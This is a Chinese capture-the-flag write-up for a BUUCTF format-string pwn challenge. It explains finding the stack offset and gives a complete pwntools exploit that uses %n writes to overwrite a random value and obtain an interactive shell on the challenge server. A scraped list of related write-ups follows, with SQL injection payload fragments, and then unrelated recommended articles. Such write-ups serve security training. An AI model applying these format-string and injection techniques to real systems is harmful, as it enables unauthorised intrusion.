[BUUCTF]PWN10——[第五空间2019 决赛]PWN5
[第五空间2019 决赛]PWN5
题目网址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5
步骤:
例行检查,32位,开启了nx和canary(栈保护)

nc一下,看看程序大概的执行情况,可以看到当输入的长度过长的时候,他的回显会有点问题,猜测输出语句存在问题

32位ida载入,shift+f12查看一下程序里的字符串,看到了 /bin/sh

双击跟进,ctrl+x找到调用这个字符串的函数

关于格式化字符串详细的讲解,看这里
看文章感觉还是不是很懂的可以看这里,从39分42开始
我们先来看一下几个经常用来测试格式化字符串的格式控制符
%d 用于读取10进制数值
%x 用于读取16进制数值
%s 用于读取字符串值
%p 用于读取参数地址
%n 用于讲当前字符串的长度打印到var中,默认写入4字节,也可以用h来占位


%$定位参数符
利用思路
1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参
数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量
2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置
3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不
就好了
利用过程
一、我们先在调试程序的时候输入一下的类似于这种字符串来测试一下程序,找到我们输入的字符串在栈上的位置
AAAA %08x %08x %8x %08x %08x %08x %08x…………

AAAA对应的十六进制是41414141,可以看到我们输入的参数是在栈上的第10个位置(从AAAA开始往后数),就是说我们之后在利用的时候可以直接利用 %10$ 定位到这个位置
二、看一下读入随机数的参数在函数里的地址,长度为4字节,那么我们可以分别用%(10~13)$去定位到这4个地址在% $后面+n,来修改这这个地址里的内容,因此构造payload

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
三、写入任意一个数据,之后我们输入的时候也输入这个数据
r.sendline(str(0x10101010))
完整exp:
from pwn import*
r=remote('node3.buuoj.cn',29564)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

[BUUCTF]PWN10——[第五空间2019 决赛]PWN5的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
- [BUUCTF]REVERSE——[GWCTF 2019]xxor
[GWCTF 2019]xxor 附件 步骤: 无壳,64位ida载入 程序很简单,首先让我们输入一个字符串,然后进行中间部分的操作,最后需要满足44行的if判断,看一下sub_400770函数 得到 ...
- [BUUCTF]REVERSE——[GWCTF 2019]pyre
[GWCTF 2019]pyre 附件 步骤: 1.附件是pyc文件,用python打不开,百度后得知用python反编译工具打开,分享一个python反编译在线网站 反编译后是这段代码 #!/usr ...
- [BUUCTF]PWN——[ZJCTF 2019]Login
[ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2j ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- BUUCTF-PWN-第一页writep(32题)
温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
随机推荐
- vue3 + vite实现异步组件和路由懒加载
在 Vue2 中,异步组件和路由懒加载处理使用 import 就可以很轻松实现.但是在Vue 3.x 中异步组件的使用与 Vue 2.x 完全不同了.本文就详细讲讲vue3中异步组件和路由懒加载的实现 ...
- 第十四章 kubernetes 核心技术-调度器
一.概述 一个容器平台的主要功能就是为容器分配运行时所需要的计算,存储和网络资源.容器调 度系统负责选择在最合适的主机上启动容器,并且将它们关联起来.它必须能够自动的处 理容器故障并且能够在更多的主机 ...
- Pulsar云原生分布式消息和流平台v2.8.0
Pulsar云原生分布式消息和流平台 **本人博客网站 **IT小神 www.itxiaoshen.com Pulsar官方网站 Apache Pulsar是一个云原生的分布式消息和流媒体平台,最初创 ...
- 8.1 k8s使用PV/PVC做数据持久化运行redis服务,数据保存至NFS
1.制作redis docker镜像 1.1 准备alpine基础镜像 # 下载 docker pull alpine:3.13 # 更改tag docker tag alpine:3.13 192. ...
- 洛谷 P4548 - [CTSC2006]歌唱王国(概率生成函数)
洛谷题面传送门 PGF 入门好题. 首先介绍一下 PGF 的基本概念.对于随机变量 \(X\),满足 \(X\) 的取值总是非负整数,我们即 \(P(v)\) 表示 \(X=v\) 的概率,那么我们定 ...
- Codeforces 1097G - Vladislav and a Great Legend(第二类斯特林数+树上背包)
Codeforces 题目传送门 & 洛谷题目传送门 首先看到这题我的第一反应是:这题跟这题长得好像,不管三七二十一先把 \(k\) 次方展开成斯特林数的形式,\(f(X)^k=\sum\li ...
- 《python编程从入门到实践》读书实践笔记(二)
本文是<python编程从入门到实践>读书实践笔记11章的内容,主要包含测试,为体现测试的重要性,独立成文. 11 测试代码 写在前面的话,以下是我这些年开发中和测试相关的血泪史. 对于一 ...
- 自动添加shell脚本头部信息
autocmd BufNewFile *.sh exec ":call AddTitleForShell()" function AddTitleForShell() call a ...
- 51-Intersection of Two Linked Lists
Intersection of Two Linked Lists My Submissions QuestionEditorial Solution Total Accepted: 72580 Tot ...
- day19 进程管理
day19 进程管理 什么是进程,什么是线程 1.什么是程序 一般情况下,代码,安装包等全部都是应用程序 2.什么是进程 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进 ...